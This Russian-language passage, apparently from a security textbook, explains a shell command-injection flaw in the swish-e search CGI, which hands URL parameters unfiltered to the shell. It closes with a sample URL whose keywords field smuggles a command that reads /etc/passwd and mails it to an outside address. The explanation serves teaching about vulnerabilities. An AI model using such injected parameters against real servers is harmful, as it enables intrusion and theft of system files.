Надеюсь, читатель сможет найти в URL замаскированный параметр swishindex=/usr/bin/swish/swish.db.
Интуитивно понятно, что программа swish-e работает с этим файлом. Следует попытаться подставить в параметр известные имена файлов и посмотреть, сможет ли swish-e работать с ними. Скорее всего, ничего не получится. Наверняка для идентификации правильного файла используется внутренний заголовок файла. Это означает, что программа swish-e не прочитает ничего, кроме нужного ей файла. Тем не менее беглый просмотр исходного текста программы (программа swish-e свободно распространяется) многое прояснит. Для выполнения запроса swish-e получает значения переданных параметров (swishindex, keywords и maxresults) и запускает программу swish с параметрами:swish -f $swishindex -w $keywords -m $maxresults
Но это недозволенный прием, потому что программа swish-e
передает параметры пользователя напрямую командному интерпретатору в качестве параметров для другого приложения. Это означает, что если любой из параметров содержит метасимволы командного процессора в операционной системе UNIX (которые программа swish-e никак не контролирует), то могут быть выполнены системные команды. Пусть задан следующий URL:search.cgi/?swishindex=swish.db&maxresults=40 &keywords=“cat/etc/passwd|mail rfp@wiretrip.net“